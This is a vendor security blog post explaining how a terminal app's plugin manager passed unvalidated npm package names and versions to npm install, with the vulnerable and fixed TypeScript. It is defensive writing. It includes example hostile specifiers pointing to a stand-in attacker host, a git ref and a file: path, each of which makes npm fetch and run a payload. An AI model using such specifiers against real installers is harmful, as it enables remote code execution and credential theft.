Back to Blog
high SEVERITY8 min read

installPlugin(): Unvalidated npm Package Names Reach npm install

A plugin manager service exposed an `installPlugin(plugin: PluginInfo)` method that passed `plugin.packageName` and `plugin.version` straight into the platform's npm install routine with no validation, no blocklist, and no integrity verification of the fetched tarball. Because npm treats a non-semver "version" as a fetch specifier — a tarball URL, a git ref, a local path — an attacker who could influence the plugin listing could get arbitrary code installed and executed with full Electron/Node p

O
By Orbis AppSec
Published September 12, 2026Reviewed September 12, 2026

Answer Summary

The affected code is the first-party `PluginManagerService.installPlugin(plugin: PluginInfo)` method of a desktop terminal application's plugin manager (npm ecosystem, Electron/TypeScript); no published package version range applies. Before the fix, `plugin.packageName` and `plugin.version` were handed unvalidated to the platform's `installPlugin()` npm wrapper, so a poisoned or MITM-modified plugin listing could specify an arbitrary package — or an arbitrary tarball URL or git ref in the version field — and get its `postinstall` script executed with full filesystem, shell, and network privileges. The fix rejects any package name that does not match `^(tabby|terminus)-[a-zA-Z0-9._-]+$`, rejects names present in `PLUGIN_BLACKLIST`, and requires `semverValid(plugin.version)` to pass so only an exact semver version is ever forwarded to npm; the fix ships in the linked commit rather than a released version number. No CVE, GHSA, or CWE identifier has been assigned to this finding.

Vulnerability at a Glance

cweN/A
fixEnforce a `tabby-`/`terminus-` name grammar, a blocklist check, and `semverValid()` on the version before installing
riskArbitrary package or tarball fetched and its lifecycle scripts executed with full Electron privileges
languageTypeScript (Node.js / Electron)
root cause`installPlugin()` forwarded `plugin.packageName` and `plugin.version` to the npm installer without a name allowlist, blocklist, or semver check
vulnerabilityUnvalidated third-party package installation (argument/specifier injection into `npm install`) with no integrity verification

The one-line version

PluginManagerService.installPlugin(plugin: PluginInfo) took a package name and a version string from a plugin listing and handed both to the platform's npm install wrapper without validating either one. There was no name allowlist, no blocklist, no semver check, and no cryptographic verification of the artifact that came back.

Affected Versions

Affected not applicable (first-party code) — the PluginManagerService.installPlugin() code path
Fixed in not applicable (first-party code) — fixed in the referenced commit, no version number assigned
Ecosystem npm
CVE / GHSA not assigned
CWE unknown

Introduction

A high-severity flaw sat in the plugin installation path of an Electron-based terminal application. The public entry point looked innocuous:

async installPlugin (plugin: PluginInfo): Promise<void> {
    try {
        await this.platform.installPlugin(plugin.packageName, plugin.version)
        this.installedPlugins = this.installedPlugins.filter(x => x.packageName !== plugin.packageName)
        this.installedPlugins.push(plugin)

Two fields — plugin.packageName and plugin.version — travel from a PluginInfo object straight into a privileged installer that shells out to npm. Neither field was checked. The service also performed no integrity verification on the downloaded package: no checksum comparison, no signature check, nothing that would distinguish the intended tarball from one swapped in transit or served by a poisoned mirror or corporate proxy.

That combination matters far beyond this one application. Any code that builds an installer command from data it received over the network is effectively treating that data as a specifier grammar, and npm's specifier grammar is much richer than "a version number."

The Vulnerability Explained

Where the data comes from

PluginInfo objects are populated from the plugin discovery feed — the registry search results for the plugin keyword — merged with locally stored plugin metadata. From the perspective of installPlugin(), that is untrusted input. Three realistic ways it goes bad:

  1. Typosquatting / malicious publishing. Anyone can publish to a public registry. A plausible-looking plugin appears in the browse list, and one click installs it.
  2. MITM or mirror poisoning. Because the fetched artifact was never checksummed or signature-verified, an attacker positioned between the app and the registry (a hostile network, a misconfigured TLS-terminating proxy, a compromised internal mirror) could substitute both the listing metadata and the tarball.
  3. Metadata tampering. Locally cached or synced plugin metadata that reaches installPlugin() did not have to survive any structural check on the way in.

Why an unvalidated version is as dangerous as an unvalidated name

This is the part developers most often miss. When a value is passed to npm as the version half of a name@version specifier, npm does not require it to be a semver string. It accepts:

  • an HTTPS tarball URL — https://attacker.example/payload.tgz
  • a git reference — github:attacker/payload#main
  • a filesystem path — file:../../tmp/payload
  • a dist-tag — latest, or any tag the publisher controls

So a listing entry of { packageName: 'tabby-plugin-theme', version: 'https://attacker.example/payload.tgz' } does not install a version of that plugin at all. It installs whatever the attacker is serving. And because npm executes preinstall/install/postinstall lifecycle scripts by default, the payload runs immediately — inside a desktop app process with full Node and Electron privileges: filesystem read/write, child process spawning, network access, and access to whatever the app already holds (SSH configuration, saved credentials, session state).

Why an unvalidated packageName compounds it

The name field was equally open. It could name any package in the registry — no requirement that it even look like a plugin for this application — and it could contain characters that are meaningful to an argument parser rather than to a registry lookup. A name beginning with - is the classic case: it stops being a package and starts being a flag.

Real-world impact

A single click in the plugin browser, on a listing the user has no way to audit, results in arbitrary code execution on the developer's workstation with the user's full privileges. For a terminal emulator — a tool whose entire purpose is holding credentials and shell sessions — that is close to the worst possible outcome. There was no sandbox, no permission model, and no runtime isolation to fall back on.

The Fix

The fix adds a validation gate at the very top of installPlugin(), before any privileged call happens, and imports one more helper from semver:

import { compare as semverCompare, valid as semverValid } from 'semver'
async installPlugin (plugin: PluginInfo): Promise<void> {
    if (!/^(tabby|terminus)-[a-zA-Z0-9._-]+$/.test(plugin.packageName) || PLUGIN_BLACKLIST.includes(plugin.packageName)) {
        throw new Error(`Refusing to install disallowed package: ${plugin.packageName}`)
    }
    if (!semverValid(plugin.version)) {
        throw new Error(`Refusing to install package with invalid version: ${plugin.version}`)
    }

Three distinct controls, each closing a different hole:

1. An anchored name grammar. ^(tabby|terminus)-[a-zA-Z0-9._-]+$ requires the name to start with one of the two supported plugin prefixes and to consist only of alphanumerics, dots, underscores, and hyphens after that. The anchors are load-bearing: without ^ and $, a name like evil-pkg;tabby-x would match a substring and pass. This single check eliminates leading-dash flag injection, scoped names containing @ and /, path traversal sequences using /, shell metacharacters, and the entire universe of registry packages that are not plugins for this application.

2. An explicit blocklist. PLUGIN_BLACKLIST.includes(plugin.packageName) covers the case a prefix allowlist cannot: a package that legitimately matches the naming convention but is known-bad — a retired plugin with a hijacked publish account, or a known typosquat of a popular plugin. An allowlist of shape and a denylist of specific known-bad names answer different questions, which is why both are present.

3. Exact-version enforcement. semverValid(plugin.version) returns null for anything that is not a valid single semver version. Ranges (^1.0.0, >=2), dist-tags (latest), tarball URLs, git refs, and file: paths all fail. This is the check that converts "install whatever this string points at" into "install exactly this published version," and it is the direct counter to the tarball-URL and git-ref injection described above.

Both checks throw rather than silently skipping, so a tampered listing surfaces as a visible error instead of a quiet no-op — important, because a quiet failure would hide the attack attempt.

What the fix deliberately does not claim

This is defense in depth, not a complete plugin security model. A malicious plugin published under a compliant tabby- prefixed name still installs and still runs unsandboxed, and there is still no checksum or signature verification of the artifact that comes down the wire. The fix shrinks the attack surface from "any package or URL in the world" to "a plugin-shaped, non-blocklisted, exact-version package from the registry." Signing and runtime isolation remain separate, larger pieces of work.

Key Takeaways

  • npm install <name>@<version> treats the version half as a specifier, not a number. A tarball URL, github:user/repo, or file: path in that position is a valid instruction to fetch and execute foreign code. Validating it with semverValid() is not cosmetic hygiene — it is the security control.
  • Anchor your allowlist regex. ^(tabby|terminus)-[a-zA-Z0-9._-]+$ is safe; the same pattern without ^/$ would match inside a hostile string and let it through.
  • A prefix allowlist and a name blocklist are not redundant. PLUGIN_BLACKLIST catches the known-bad package that happens to satisfy the naming convention; the regex catches everything that does not look like a plugin at all.
  • Validate before the privileged call, and throw. Placing the guards as the first statements of installPlugin() means platform.installPlugin() is never reached with untrusted arguments, and the thrown error makes tampering observable.
  • Downloading without verifying is trusting the network. With no checksum or signature check on the fetched plugin artifact, TLS is the only thing standing between the app and a substituted payload — and TLS-terminating proxies are common in exactly the enterprise environments this kind of tool runs in.

How Orbis AppSec Detected This

  • Source: the packageName and version fields of a PluginInfo object, populated from the remote plugin discovery listing and locally stored plugin metadata.
  • Sink: the platform service's installPlugin(packageName, version) routine, which builds and executes an npm install specifier and lets npm run the package's lifecycle scripts with full Electron/Node privileges.
  • Missing control: no allowlist on the package name, no blocklist of known-bad packages, no restriction of the version to an exact semver value, and no checksum or signature verification of the downloaded artifact.
  • CWE: unknown — no CWE identifier was assigned to this finding.
  • Fix: installPlugin() now throws unless the package name matches ^(tabby|terminus)-[a-zA-Z0-9._-]+$, is absent from PLUGIN_BLACKLIST, and is paired with a version that semverValid() accepts.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

The vulnerable version of installPlugin() did exactly what it looked like it did — it installed the plugin it was told to install. The problem was that "which plugin" and "which version" came from a network listing that nothing verified, and that npm's version field accepts tarball URLs and git refs as readily as it accepts 1.2.3. Three lines of validation — an anchored tabby-/terminus- name grammar, a PLUGIN_BLACKLIST lookup, and semverValid(plugin.version) — cut off arbitrary-package and arbitrary-URL installs before the privileged installer is ever invoked. If your own code builds a package specifier, a download URL, or an installer argument from remote metadata, check the version field with the same suspicion you apply to the name.

Prevention and further reading

Frequently Asked Questions

Does the `^(tabby|terminus)-[a-zA-Z0-9._-]+$` allowlist reject scoped plugins like `@myorg/tabby-plugin-foo`?

Yes. The character class contains no `@` or `/`, and the pattern is anchored, so scoped package names are refused by `installPlugin()`. Publishing under an unscoped `tabby-` prefixed name is now the only supported path.

Why does the fix require `semverValid(plugin.version)` instead of accepting ranges like `^1.2.0` or `latest`?

Because the value is concatenated into an npm install specifier, and npm interprets non-semver specifiers as fetch targets — an HTTPS tarball URL, a `github:user/repo` ref, or a local path. Requiring an exact semver version removes that entire class of specifier and pins the install to one published version.

Does this change add plugin sandboxing or signature verification for the downloaded tarball?

No. The fix only narrows *which* package and version can be requested; a genuinely malicious plugin published under a `tabby-` prefixed name still runs with full Node/Electron privileges, and there is still no checksum or signature check on the fetched artifact.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #11675

Related Articles

critical

deleteNestedProperty Prototype Pollution via Dot-Notation Path

The `deleteNestedProperty` function in propertyUtils.ts allowed attackers to manipulate JavaScript object prototypes by passing specially crafted dot-notation paths like `__proto__.polluted`. A fix now blocks dangerous keys before processing, preventing prototype pollution attacks that could affect all objects in the application.

critical

eval() in Async Function Constructor Enables Runtime Escape

The eval.mjs command handler used raw `eval()` to execute JavaScript expressions, creating a critical code injection path if owner credentials are compromised. The fix replaces `eval()` with the `AsyncFunction` constructor and explicitly shadows `process`, `require`, and other runtime globals as parameters, preventing evaluated code from reaching the Node.js runtime even when authentication boundaries fail.

high

How Regular Expression Denial of Service (ReDoS) Happens in Node.js trim-newlines and How to Fix It

CVE-2021-33623 exposed a Regular Expression Denial of Service (ReDoS) vulnerability in the npm package `trim-newlines` versions 1.0.0 and earlier. The vulnerable `.end()` method used an inefficient regex pattern that could cause severe performance degradation when processing malicious input. Upgrading to version 4.0.1 patches the regex implementation and eliminates the attack surface.

critical

How CSS Injection via Weak Pattern Validation happens in Vue.js and how to fix it

A critical CSS injection vulnerability in `testpage/App.vue` allowed attackers to bypass weak HTML5 pattern validation and load malicious stylesheets. The fix replaces direct variable assignment with a hardened `setCustomStylesheetHref()` method using strict regex validation.

critical

How Unvalidated Dynamic Component Loading happens in TypeScript/Viewi and how to fix it

A critical vulnerability in Viewi's component loader allowed attackers to inject malicious JavaScript through compromised or MITM-attacked external component servers. The fix adds proper HTTP response validation before parsing dynamically fetched JSON components.

high

modelExporter.js Path Traversal via Unsanitized Directory Concatenation

A path traversal vulnerability in `modelExporter.js` allowed attackers to read arbitrary files by injecting traversal sequences into directory and relative path parameters. The `readSourceFile` function concatenated these unsanitized inputs directly into file URLs passed to `fetch()`. The fix introduces strict path normalization that rejects attempts to escape the intended directory.